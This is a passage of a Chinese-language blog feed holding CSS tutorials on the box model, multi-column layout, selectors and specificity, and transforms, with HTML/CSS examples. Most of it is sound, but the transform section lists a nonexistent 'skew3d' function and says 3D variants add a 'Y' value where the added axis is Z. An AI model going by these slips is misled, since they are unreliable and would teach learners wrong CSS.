&lt;li&gt;使用overflow属性：&lt;code&gt;overflow: auto&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;使用Flexbox或Grid布局&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2. 盒子尺寸溢出&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;现象&lt;/strong&gt;：元素超出父容器边界&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;解决方案&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;设置&lt;code&gt;box-sizing: border-box&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;使用&lt;code&gt;max-width: 100%&lt;/code&gt;限制宽度&lt;/li&gt;
&lt;li&gt;使用&lt;code&gt;overflow: auto&lt;/code&gt;添加滚动条&lt;/li&gt;
&lt;li&gt;使用CSS函数：&lt;code&gt;calc(100% - 20px)&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;3. 水平居中元素&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;方法对比&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* 块级元素居中 */
margin: 0 auto; 

/* 文本内容居中 */
text-align: center;

/* Flexbox居中 */
display: flex;
justify-content: center;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;4. 调试盒子模型&lt;/h3&gt;
&lt;p&gt;使用Chrome开发者工具：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;右键点击元素 → 检查&lt;/li&gt;
&lt;li&gt;在Styles面板查看盒子模型图示&lt;/li&gt;
&lt;li&gt;直接修改数值实时预览效果&lt;/li&gt;
&lt;li&gt;使用盒模型计算器验证尺寸&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h2&gt;总结与预告&lt;/h2&gt;
&lt;p&gt;今天，我们深入探索了：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;盒子模型的四个组成部分&lt;/li&gt;
&lt;li&gt;内容区、内边距、边框和外边距的属性详解&lt;/li&gt;
&lt;li&gt;content-box与border-box的区别&lt;/li&gt;
&lt;li&gt;创建了一个精美的个人名片&lt;/li&gt;
&lt;li&gt;常见盒子模型问题及解决方案&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;在下一篇教程中，我们将深入研究：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;外边距合并现象的详细解析&lt;/li&gt;
&lt;li&gt;块级元素与行内元素的差异&lt;/li&gt;
&lt;li&gt;display属性的深入应用&lt;/li&gt;
&lt;li&gt;使用盒子模型创建复杂布局&lt;/li&gt;
&lt;li&gt;响应式设计中的盒子模型技巧&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;挑战任务&lt;/strong&gt;：在你的名片基础上添加第二个名片，并调整外边距使它们完美并排显示（提示：使用display: inline-block 或 Flexbox）。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;理解盒子模型是CSS布局的关键一步。多练习，多调试，你很快就能像专业开发者一样思考布局问题！&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;期待在下一篇教程中与你继续探索CSS的奇妙世界！&lt;/p&gt;
</content:encoded></item><item><title>多列布局</title><link>https://ivoinkwell.xyz/posts/web-frontend/css-multi-column-layout/</link><guid isPermaLink="true">https://ivoinkwell.xyz/posts/web-frontend/css-multi-column-layout/</guid><pubDate>Sun, 15 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;在写微信小程序的时候就非常喜欢使用多列的布局模式，当时觉得&lt;code&gt;flex&lt;/code&gt;布局不好看，特地在里面嵌套了一个&lt;code&gt;grid&lt;/code&gt;布局让其更整洁。但是现在学了多列布局，虽然整体上不如&lt;code&gt;flex&lt;/code&gt; 和&lt;code&gt;grid&lt;/code&gt; 写的舒服和快捷，但是我还是觉得这个布局还是有一定的用武之处，比如考试。&lt;/p&gt;
&lt;h2&gt;概念&lt;/h2&gt;
&lt;p&gt;多列布局其实就是我们经常看见报纸，书籍上面常见的分栏方式，缺点也是非常明显，在标题行上面没有办法指定合并行数，所以&lt;code&gt;grid&lt;/code&gt; 目前还是我认为的最优解。&lt;/p&gt;
&lt;h2&gt;语法格式&lt;/h2&gt;
&lt;h3&gt;属性&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;column-count&lt;/code&gt;：规定列数的属性&lt;/li&gt;
&lt;li&gt;&lt;code&gt;column-gap&lt;/code&gt;：规定每列之间间距的属性&lt;/li&gt;
&lt;li&gt;&lt;code&gt;column-rule&lt;/code&gt;：每列之间间隔的线样式的属性&lt;/li&gt;
&lt;li&gt;&lt;code&gt;column-width&lt;/code&gt;：每列的宽度，可以和&lt;code&gt;column-count&lt;/code&gt;同时使用&lt;/li&gt;
&lt;li&gt;&lt;code&gt;column-span&lt;/code&gt;：用于横跨列的属性。只有两个值,&lt;code&gt;none&lt;/code&gt;不横跨任何列，&lt;code&gt;all&lt;/code&gt;横跨所有行&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;格式&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;.elements {
    column-count: 3;
    column-gap: 3px;
    column-rule: 1px solid red;
    column-span: all;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;案例&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html lang=&quot;zh-CN&quot;&amp;gt;
&amp;lt;head&amp;gt;
    &amp;lt;meta charset=&quot;UTF-8&quot;&amp;gt;
    &amp;lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&amp;gt;
    &amp;lt;title&amp;gt;多列布局示例&amp;lt;/title&amp;gt;
    &amp;lt;style&amp;gt;
        body {
            font-family: Arial, sans-serif;
            line-height: 1.6;
            margin: 0;
            padding: 20px;
            background-color: #f5f5f5;
        }
        
        .multi-column {
            /* 设置列数为3 */
            column-count: 3;
            /* 设置列间距 */
            column-gap: 30px;
            /* 设置列之间的分割线 */
            column-rule: 1px solid #ddd;
            max-width: 1000px;
            margin: 0 auto;
            background-color: white;
            padding: 20px;
            border-radius: 8px;
            box-shadow: 0 2px 10px rgba(0,0,0,0.1);
        }
        
        .multi-column h2 {
            /* 让标题横跨所有列 */
            column-span: all;
            text-align: center;
            color: #333;
            margin-bottom: 20px;
            padding-bottom: 10px;
            border-bottom: 2px solid #eee;
        }
        
        .multi-column p {
            margin-bottom: 15px;
            text-align: justify;
        }
        
        @media (max-width: 768px) {
            .multi-column {
                column-count: 2;
            }
        }
        
        @media (max-width: 480px) {
            .multi-column {
                column-count: 1;
            }
        }
    &amp;lt;/style&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
    &amp;lt;div class=&quot;multi-column&quot;&amp;gt;
        &amp;lt;h2&amp;gt;多列布局示例&amp;lt;/h2&amp;gt;
        &amp;lt;p&amp;gt;这是第一列的内容。多列布局是一种将内容自动分布到多个列中的CSS技术，类似于报纸的排版方式。这种布局特别适合展示大量的文本内容。&amp;lt;/p&amp;gt;
        &amp;lt;p&amp;gt;通过简单的CSS属性，我们可以控制列的数量、间距和样式，而无需复杂的HTML结构。&amp;lt;/p&amp;gt;
        &amp;lt;p&amp;gt;这是第二列的内容。多列布局会自动平衡各列的内容高度，使阅读体验更加舒适。当内容超过一列时，会自动流入下一列。&amp;lt;/p&amp;gt;
        &amp;lt;p&amp;gt;使用多列布局可以创建出类似印刷品的视觉效果，同时保持内容的可访问性和响应式特性。&amp;lt;/p&amp;gt;
        &amp;lt;p&amp;gt;这是第三列的内容。在多列布局中，我们可以使用column-span属性让某些元素横跨所有列，比如标题或重要的图片。&amp;lt;/p&amp;gt;
        &amp;lt;p&amp;gt;通过媒体查询，我们可以为不同屏幕尺寸设置不同的列数，确保在各种设备上都有良好的显示效果。&amp;lt;/p&amp;gt;
    &amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>CSS选择器</title><link>https://ivoinkwell.xyz/posts/web-frontend/css-selectors/</link><guid isPermaLink="true">https://ivoinkwell.xyz/posts/web-frontend/css-selectors/</guid><pubDate>Sun, 15 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;回顾与引言&lt;/h2&gt;
&lt;p&gt;在上一篇教程中，我们学习了HTML的基础知识，创建了第一个网页并添加了基本样式。今天我们将深入探索CSS的核心——选择器系统，这是精确控制网页样式的关键！通过本教程，你将学会如何像专业开发者一样精确地定位和美化网页元素。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;第一部分：CSS选择器深度解析&lt;/h2&gt;
&lt;h3&gt;为什么选择器如此重要？&lt;/h3&gt;
&lt;p&gt;选择器是CSS的&quot;定位系统&quot;，它决定了哪些HTML元素会应用特定的样式规则。掌握选择器，你就获得了精确控制网页外观的能力。&lt;/p&gt;
&lt;h3&gt;基础选择器：CSS的基石&lt;/h3&gt;
&lt;h4&gt;1. 元素选择器&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;/* 选择所有段落 */
p {
  color: #333;
  line-height: 1.6;
}

/* 选择所有一级标题 */
h1 {
  font-size: 2.5rem;
  margin-bottom: 1rem;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;2. 类选择器 (最常用)&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!-- HTML --&amp;gt;
&amp;lt;button class=&quot;btn primary&quot;&amp;gt;主要按钮&amp;lt;/button&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;/* CSS */
.btn {
  padding: 10px 20px;
  border-radius: 4px;
  cursor: pointer;
}

.primary {
  background-color: #007bff;
  color: white;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;3. ID选择器&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!-- HTML --&amp;gt;
&amp;lt;div id=&quot;header&quot;&amp;gt;网站头部&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;/* CSS */
#header {
  background-color: #f8f9fa;
  padding: 20px;
  border-bottom: 1px solid #dee2e6;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;专业提示&lt;/strong&gt;：ID选择器具有最高优先级，应谨慎使用，通常用于唯一元素如页面布局区域&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;组合选择器：精确命中目标&lt;/h3&gt;
&lt;h4&gt;1. 后代选择器 (空格)&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;/* 选择article内的所有段落 */
article p {
  font-size: 1.1rem;
}

/* 选择导航栏内的链接 */
nav a {
  text-decoration: none;
  color: #343a40;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;2. 子元素选择器 (&amp;gt;)&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;/* 只选择直接子元素 */
ul.menu &amp;gt; li {
  border-bottom: 1px solid #eee;
  padding: 10px 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;3. 相邻兄弟选择器 (+)&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;/* 选择紧跟在h2后面的段落 */
h2 + p {
  margin-top: 5px;
  font-style: italic;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;4. 通用兄弟选择器 (~)&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;/* 选择所有在h3后面的同级段落 */
h3 ~ p {
  color: #666;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;属性选择器：按特征选择元素&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;/* 选择所有有title属性的元素 */
[title] {
  border-bottom: 1px dotted #999;
}

/* 选择特定属性值的元素 */
input[type=&quot;submit&quot;] {
  background-color: #28a745;
  color: white;
}

/* 选择属性值包含特定字符串的元素 */
a[href*=&quot;example&quot;] {
  color: purple;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;伪类选择器：基于状态的样式&lt;/h3&gt;
&lt;p&gt;伪类让你可以根据元素状态应用样式：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* 链接状态 */
a:link { color: blue; }      /* 未访问链接 */
a:visited { color: purple; } /* 已访问链接 */
a:hover { 
  color: red; 
  text-decoration: underline;
} /* 鼠标悬停 */
a:active { color: green; }  /* 点击瞬间 */

/* 表单元素状态 */
input:focus {
  border-color: #80bdff;
  box-shadow: 0 0 0 0.2rem rgba(0,123,255,.25);
}

/* 结构化伪类 */
li:first-child { font-weight: bold; }
li:last-child { border-bottom: none; }
li:nth-child(odd) { background-color: #f8f9fa; }
tr:nth-child(even) { background-color: #f2f2f2; }
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;伪元素选择器：创造虚拟元素&lt;/h3&gt;
&lt;p&gt;伪元素允许你为元素的特定部分设置样式：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* 首字母样式 */
p::first-letter {
  font-size: 2em;
  float: left;
  margin-right: 5px;
}

/* 首行样式 */
p::first-line {
  font-weight: bold;
}

/* 在元素前/后添加内容 */
blockquote::before {
  content: &quot;&quot;&quot;;
  font-size: 3em;
  color: #ccc;
  line-height: 0.1em;
}

a.external::after {
  content: &quot; ↗&quot;;
  font-size: 0.8em;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;第二部分：选择器优先级与最佳实践&lt;/h2&gt;
&lt;h3&gt;CSS优先级规则&lt;/h3&gt;
&lt;p&gt;当多个规则应用于同一元素时，浏览器使用优先级系统决定哪个样式生效：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;内联样式&lt;/strong&gt; (最高优先级) - &lt;code&gt;style=&quot;color: red;&quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ID选择器&lt;/strong&gt; - &lt;code&gt;#content&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;类/属性/伪类选择器&lt;/strong&gt; - &lt;code&gt;.button&lt;/code&gt;, &lt;code&gt;[type=&quot;text&quot;]&lt;/code&gt;, &lt;code&gt;:hover&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;元素/伪元素选择器&lt;/strong&gt; - &lt;code&gt;p&lt;/code&gt;, &lt;code&gt;div&lt;/code&gt;, &lt;code&gt;::before&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;优先级计算技巧&lt;/h3&gt;
&lt;p&gt;想象每个选择器有一个分数：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ID选择器: 100分&lt;/li&gt;
&lt;li&gt;类/属性/伪类: 10分&lt;/li&gt;
&lt;li&gt;元素/伪元素: 1分&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;示例：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#nav .item a:hover  /* 100 + 10 + 1 + 10 = 121分 */
.header h1.title     /* 10 + 1 + 10 = 21分 */
div p                /* 1 + 1 = 2分 */
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;CSS选择器最佳实践&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;优先使用类选择器&lt;/strong&gt;：提供良好平衡的特异性和可重用性&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;避免过度嵌套&lt;/strong&gt;：&lt;code&gt;.nav ul li a&lt;/code&gt; 可能过度指定&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;保持低特异性&lt;/strong&gt;：便于覆盖样式&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;使用有意义的类名&lt;/strong&gt;：&lt;code&gt;.btn-primary&lt;/code&gt; 优于 &lt;code&gt;.blue-button&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;利用CSS变量&lt;/strong&gt;：提高可维护性&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;/* 使用CSS变量 */
:root {
  --primary-color: #4a86e8;
  --secondary-color: #6c757d;
  --spacing-unit: 8px;
}

.button {
  padding: calc(2 * var(--spacing-unit)) calc(4 * var(--spacing-unit));
}

.primary {
  background-color: var(--primary-color);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;动手实践：创建个性化博客页面&lt;/h2&gt;
&lt;p&gt;让我们应用所学知识，创建一个精美的博客页面：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
    &amp;lt;meta charset=&quot;UTF-8&quot;&amp;gt;
    &amp;lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&amp;gt;
    &amp;lt;title&amp;gt;我的技术博客&amp;lt;/title&amp;gt;
    &amp;lt;style&amp;gt;
        /* 基础样式 */
        :root {
            --primary-color: #4a86e8;
            --secondary-color: #6c757d;
            --light-bg: #f8f9fa;
            --dark-text: #212529;
            --spacing: 1rem;
            --border-radius: 8px;
        }

        * {
            box-sizing: border-box;
            margin: 0;
            padding: 0;
        }

        body {
            font-family: &apos;Segoe UI&apos;, Tahoma, Geneva, Verdana, sans-serif;
            line-height: 1.6;
            color: var(--dark-text);
            background-color: var(--light-bg);
            max-width: 1200px;
            margin: 0 auto;
            padding: var(--spacing);
        }

        /* 导航栏样式 */
        nav {
            background-color: white;
            padding: var(--spacing);
            border-radius: var(--border-radius);
            box-shadow: 0 2px 5px rgba(0,0,0,0.1);
            margin-bottom: calc(2 * var(--spacing));
        }

        nav ul {
            display: flex;
            list-style: none;
        }

        nav li:not(:last-child) {
            margin-right: calc(2 * var(--spacing));
        }

        nav a {
            text-decoration: none;
            color: var(--secondary-color);
            font-weight: 500;
            padding: 0.5rem;
            position: relative;
        }

        nav a:hover {
            color: var(--primary-color);
        }

        nav a::after {
            content: &apos;&apos;;
            position: absolute;
            bottom: 0;
            left: 0;
            width: 0;
            height: 2px;
            background-color: var(--primary-color);
            transition: width 0.3s ease;
        }

        nav a:hover::after {
            width: 100%;
        }

        /* 文章卡片 */
        .article-card {
            background-color: white;
            border-radius: var(--border-radius);
            box-shadow: 0 2px 10px rgba(0,0,0,0.05);
            margin-bottom: calc(2 * var(--spacing));
            overflow: hidden;
            transition: transform 0.3s ease, box-shadow 0.3s ease;
        }

        .article-card:hover {
            transform: translateY(-5px);
            box-shadow: 0 5px 15px rgba(0,0,0,0.1);
        }

        .card-header {
            padding: var(--spacing);
            border-bottom: 1px solid #eee;
        }

        .card-header h2 {
            color: var(--primary-color);
            margin-bottom: 0.5rem;
        }

        .meta {
            display: flex;
            color: var(--secondary-color);
            font-size: 0.9rem;
        }

        .meta span:not(:last-child)::after {
            content: &apos;•&apos;;
            margin: 0 0.5rem;
        }

        .card-content {
            padding: var(--spacing);
        }

        .card-content p:first-of-type {
            font-size: 1.1rem;
            margin-bottom: 1rem;
        }

        .read-more {
            display: inline-block;
            color: var(--primary-color);
            text-decoration: none;
            font-weight: 600;
            margin-top: 0.5rem;
        }

        .read-more::after {
            content: &apos;→&apos;;
            margin-left: 0.3rem;
            transition: margin-left 0.2s ease;
        }

        .read-more:hover::after {
            margin-left: 0.6rem;
        }

        .tag {
            display: inline-block;
            background-color: #e9ecef;
            color: var(--secondary-color);
            padding: 0.25rem 0.75rem;
            border-radius: 20px;
            font-size: 0.8rem;
            margin-right: 0.5rem;
        }

        /* 特色文章 */
        .featured {
            border-left: 4px solid var(--primary-color);
        }

        /* 页脚样式 */
        footer {
            text-align: center;
            padding: var(--spacing);
            color: var(--secondary-color);
            font-size: 0.9rem;
            margin-top: 2rem;
            border-top: 1px solid #dee2e6;
        }
    &amp;lt;/style&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
    &amp;lt;nav&amp;gt;
        &amp;lt;ul&amp;gt;
            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;首页&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;
            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;前端开发&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;
            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;JavaScript&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;
            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;CSS技巧&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;
            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;关于我&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;
        &amp;lt;/ul&amp;gt;
    &amp;lt;/nav&amp;gt;

    &amp;lt;main&amp;gt;
        &amp;lt;article class=&quot;article-card featured&quot;&amp;gt;
            &amp;lt;div class=&quot;card-header&quot;&amp;gt;
                &amp;lt;h2&amp;gt;CSS选择器完全指南&amp;lt;/h2&amp;gt;
                &amp;lt;div class=&quot;meta&quot;&amp;gt;
                    &amp;lt;span&amp;gt;2023年10月15日&amp;lt;/span&amp;gt;
                    &amp;lt;span&amp;gt;张明&amp;lt;/span&amp;gt;
                    &amp;lt;span&amp;gt;8分钟阅读&amp;lt;/span&amp;gt;
                &amp;lt;/div&amp;gt;
            &amp;lt;/div&amp;gt;
            &amp;lt;div class=&quot;card-content&quot;&amp;gt;
                &amp;lt;p&amp;gt;选择器是CSS中最强大的功能之一，它允许我们精确地定位HTML元素并应用样式。本文将深入探讨各种CSS选择器及其实际应用...&amp;lt;/p&amp;gt;
                &amp;lt;div&amp;gt;
                    &amp;lt;span class=&quot;tag&quot;&amp;gt;CSS&amp;lt;/span&amp;gt;
                    &amp;lt;span class=&quot;tag&quot;&amp;gt;前端开发&amp;lt;/span&amp;gt;
                    &amp;lt;span class=&quot;tag&quot;&amp;gt;教程&amp;lt;/span&amp;gt;
                &amp;lt;/div&amp;gt;
                &amp;lt;a href=&quot;#&quot; class=&quot;read-more&quot;&amp;gt;阅读全文&amp;lt;/a&amp;gt;
            &amp;lt;/div&amp;gt;
        &amp;lt;/article&amp;gt;

        &amp;lt;article class=&quot;article-card&quot;&amp;gt;
            &amp;lt;div class=&quot;card-header&quot;&amp;gt;
                &amp;lt;h2&amp;gt;Flexbox布局实战&amp;lt;/h2&amp;gt;
                &amp;lt;div class=&quot;meta&quot;&amp;gt;
                    &amp;lt;span&amp;gt;2023年10月10日&amp;lt;/span&amp;gt;
                    &amp;lt;span&amp;gt;李华&amp;lt;/span&amp;gt;
                    &amp;lt;span&amp;gt;6分钟阅读&amp;lt;/span&amp;gt;
                &amp;lt;/div&amp;gt;
            &amp;lt;/div&amp;gt;
            &amp;lt;div class=&quot;card-content&quot;&amp;gt;
                &amp;lt;p&amp;gt;Flexbox是CSS3中引入的一种强大的布局模型，它提供了更加有效的方式来设计响应式布局。本文将带你从基础到实战...&amp;lt;/p&amp;gt;
                &amp;lt;div&amp;gt;
                    &amp;lt;span class=&quot;tag&quot;&amp;gt;CSS&amp;lt;/span&amp;gt;
                    &amp;lt;span class=&quot;tag&quot;&amp;gt;布局&amp;lt;/span&amp;gt;
                    &amp;lt;span class=&quot;tag&quot;&amp;gt;响应式设计&amp;lt;/span&amp;gt;
                &amp;lt;/div&amp;gt;
                &amp;lt;a href=&quot;#&quot; class=&quot;read-more&quot;&amp;gt;阅读全文&amp;lt;/a&amp;gt;
            &amp;lt;/div&amp;gt;
        &amp;lt;/article&amp;gt;

        &amp;lt;article class=&quot;article-card&quot;&amp;gt;
            &amp;lt;div class=&quot;card-header&quot;&amp;gt;
                &amp;lt;h2&amp;gt;JavaScript闭包详解&amp;lt;/h2&amp;gt;
                &amp;lt;div class=&quot;meta&quot;&amp;gt;
                    &amp;lt;span&amp;gt;2023年10月5日&amp;lt;/span&amp;gt;
                    &amp;lt;span&amp;gt;王芳&amp;lt;/span&amp;gt;
                    &amp;lt;span&amp;gt;10分钟阅读&amp;lt;/span&amp;gt;
                &amp;lt;/div&amp;gt;
            &amp;lt;/div&amp;gt;
            &amp;lt;div class=&quot;card-content&quot;&amp;gt;
                &amp;lt;p&amp;gt;闭包是JavaScript中一个既强大又容易混淆的概念。理解闭包对于掌握JavaScript至关重要。本文将深入解析闭包的工作原理...&amp;lt;/p&amp;gt;
                &amp;lt;div&amp;gt;
                    &amp;lt;span class=&quot;tag&quot;&amp;gt;JavaScript&amp;lt;/span&amp;gt;
                    &amp;lt;span class=&quot;tag&quot;&amp;gt;核心概念&amp;lt;/span&amp;gt;
                &amp;lt;/div&amp;gt;
                &amp;lt;a href=&quot;#&quot; class=&quot;read-more&quot;&amp;gt;阅读全文&amp;lt;/a&amp;gt;
            &amp;lt;/div&amp;gt;
        &amp;lt;/article&amp;gt;
    &amp;lt;/main&amp;gt;

    &amp;lt;footer&amp;gt;
        &amp;lt;p&amp;gt;© 2023 我的技术博客 | 使用CSS选择器构建&amp;lt;/p&amp;gt;
    &amp;lt;/footer&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;实践任务&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;将上述代码复制到HTML文件中并查看效果&lt;/li&gt;
&lt;li&gt;尝试以下修改：
&lt;ul&gt;
&lt;li&gt;将特色文章的边框颜色改为绿色&lt;/li&gt;
&lt;li&gt;为导航栏当前活动项添加特殊样式（如添加 &lt;code&gt;.active&lt;/code&gt; 类）&lt;/li&gt;
&lt;li&gt;修改标签的悬停效果&lt;/li&gt;
&lt;li&gt;添加新文章并使用不同的选择器为其设置样式&lt;/li&gt;
&lt;li&gt;尝试使用 &lt;code&gt;:nth-child()&lt;/code&gt; 为文章设置交替背景色&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h2&gt;总结与预告&lt;/h2&gt;
&lt;p&gt;今天，我们深入学习了：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;CSS基础选择器（元素、类、ID）&lt;/li&gt;
&lt;li&gt;组合选择器（后代、子元素、兄弟）&lt;/li&gt;
&lt;li&gt;属性选择器和伪类选择器&lt;/li&gt;
&lt;li&gt;选择器优先级规则&lt;/li&gt;
&lt;li&gt;CSS最佳实践&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;在下一篇教程中，我们将探索前端开发的核心概念——&lt;strong&gt;盒子模型&lt;/strong&gt;，内容包括：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;盒模型的组成要素（内容、内边距、边框、外边距）&lt;/li&gt;
&lt;li&gt;盒子大小的计算方式&lt;/li&gt;
&lt;li&gt;使用 &lt;code&gt;box-sizing&lt;/code&gt; 控制盒子模型&lt;/li&gt;
&lt;li&gt;外边距合并现象及解决方案&lt;/li&gt;
&lt;li&gt;创建实际布局组件&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;挑战任务&lt;/strong&gt;：在博客页面中添加一个&quot;作者简介&quot;区域，使用组合选择器为其添加样式，并确保在鼠标悬停时有效果变化。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;选择器是CSS的钥匙，打开精确样式控制的大门。多练习，多尝试，你很快就能游刃有余！&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;期待在盒子模型的世界与你相见！&lt;/p&gt;
</content:encoded></item><item><title>transfrom属性是元素位移及形变</title><link>https://ivoinkwell.xyz/posts/web-frontend/css-transform/</link><guid isPermaLink="true">https://ivoinkwell.xyz/posts/web-frontend/css-transform/</guid><pubDate>Sun, 15 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;transform格式&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;函数功能&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;translate&lt;/code&gt;：&lt;strong&gt;控制元素平移&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;scale&lt;/code&gt;：&lt;strong&gt;控制元素缩放大小&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;rotate&lt;/code&gt;：&lt;strong&gt;控制元素旋转，在2D下默认是Z轴&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;skew&lt;/code&gt;：&lt;strong&gt;控制元素倾斜角度&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;translate3d&lt;/code&gt;：&lt;strong&gt;控制元素平移&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;scale3d&lt;/code&gt;：&lt;strong&gt;控制元素缩放大小&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;rotate3d&lt;/code&gt;：&lt;strong&gt;控制元素旋转&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;skew3d&lt;/code&gt;：&lt;strong&gt;控制元素倾斜角度&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;函数用法&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.element {
    transform: translate(X轴移动位置, Y轴移动位置) scale(缩放比例，1为基础) rotate(角度) skew(相对于X轴的倾斜角度, 相对于Y轴的倾斜角度);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;3d会比普通的的多一个Y值，最后一项是旋转角度，前面的X,Y,Z则是方向&lt;/strong&gt;&lt;/p&gt;
